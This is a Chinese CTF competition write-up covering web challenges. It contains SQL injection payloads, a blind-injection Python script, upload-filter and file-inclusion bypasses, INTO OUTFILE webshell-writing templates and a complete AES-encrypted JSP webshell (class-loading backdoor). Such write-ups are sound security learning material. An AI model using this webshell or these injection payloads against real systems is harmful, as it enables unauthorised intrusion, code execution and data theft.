T-Star高校挑战赛—by cdusec

0x00 前言

又是当废物躺了一天的比赛,10个web做了3个,其余6个都是队友做的,还有一个sql1最后也没做出来。也是第一次在ctf比赛中获得第一,纪念一下,感谢队友带飞。wp写的较为简陋。

0x00_0.png

0x01 赛题

签到

就一个前端验证,抓包改后缀就行

0x01_1.png

0x01_2.png

连上shell得到flag

0x01_3.png

命令执行基础

直接用 | 来绕过,成功命令执行

0x02_1.png

你能爆破吗?

sqli-libs 21关原题

使用admin admin登录后 查看cookie有个base64编码后的用户名,结合提示知道是注入,将注入语句base64编码后传入。经过测试发现没有过滤,测试出字段数为3。

0x03_1.png

将下列语句base64后传入,查表名:

0" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user()#

0x03_2.png

将下列语句base64后传入,查列名:

0" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()#

0x03_3.png

查flag

0x03_4.png

文件上传

经过fuzz发现,双写<?和eval可以绕过他的文本替换,然后pht可以上传

0x04_1.png

然后访问发现看不到我们写入的一句话,说明解析成功

0x04_2.png

通过php的system执行命令,得到flag

0x04_3.png

文件包含getshell

查看源码,发现了lfi.txt

0x05_1.png

查看lfi.txt,发现可以文件包含

0x05_2.png

准备一个zip文件,里面是s.php,具体如下,并且重命名为s.txt,然后上传

0x05_3.png

通zip协议成功执行命令

0x05_4.png

0x05_5.png

成绩单

好像是bugku的原题吧,太简单了就不写了

最后查询flag:

0' union select 1,2,3,flag from fl4g#

0x06_1.png

小猫咪踩灯泡

直接拿poc打,写入一句话

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

0x07_1.png

然后访问木马,发现写入成功

0x07_2.png

连上一句话,得到flag

0x07_3.png

0x07_4.png

分析代码获得flag

可能是非预期?反正我们7字符5字符都没成功。

写入shell基本是不成功的,因为有index.php的干扰,所以用cat命令读上一级目录的key,先写入cat

0x08_1.png

然后看到key是在上层目录

0x08_2.png

然后直接使用cat来读取 * ../*

0x08_3.png

SQL注入1

这里听群里的师傅说是limit注入写文件,查了一下官方文档

0x10_1.png

在设置了secure_file_priv的情况下,就可以直接写shell了,猜一个路径(通常就是/var/www/html)

贴几个payload。

1
2
3
4
INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)
INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)
INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)
INTO OUTFILE '物理路径' lines starting by (一句话hex编码)

至于某群友说低版本才行,经过查阅文档发现都行,上图就是mysql8.0的文档,所以总结就是只要能够写文件,就能limit后面进行注入(有错误的话欢迎师傅们指正)。

以下为测试的两个版本,只需要开启secure-file-priv以及有写的权限就可以进行limit写shell了

0x10_2.png

0x10_3.png

SQL注入2

目录扫描到wwwroot.zip,发现过滤的比较死,猜测账号密码图片都在同一个数据库表中,脚本如下。

1
2
3
4
5
6
7
8
9
10
11
import requests
a =['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9']
temp = ''
while(1):
for i in a:
url = 'http://23dcf1dc.yunyansec.com/picture.php?id=3" or password REGEXP '+'\'^'+temp+i+'\' %23'
r = requests.get(url)
if 'not found' not in r.text:
temp = temp+i
print (temp)
break

0x09_1.png

二十位的hash?可能是dedecms,然后去掉前三位跟后三位然后somd5解密

0x09_2.png

然后登陆拿到flag

0x02 总结

总体来说还算比较简单,早期起来晚了,要不然还能抢几个题,等我起来一上号队友都已经在屠榜了(淦

在?给俺买颗糖?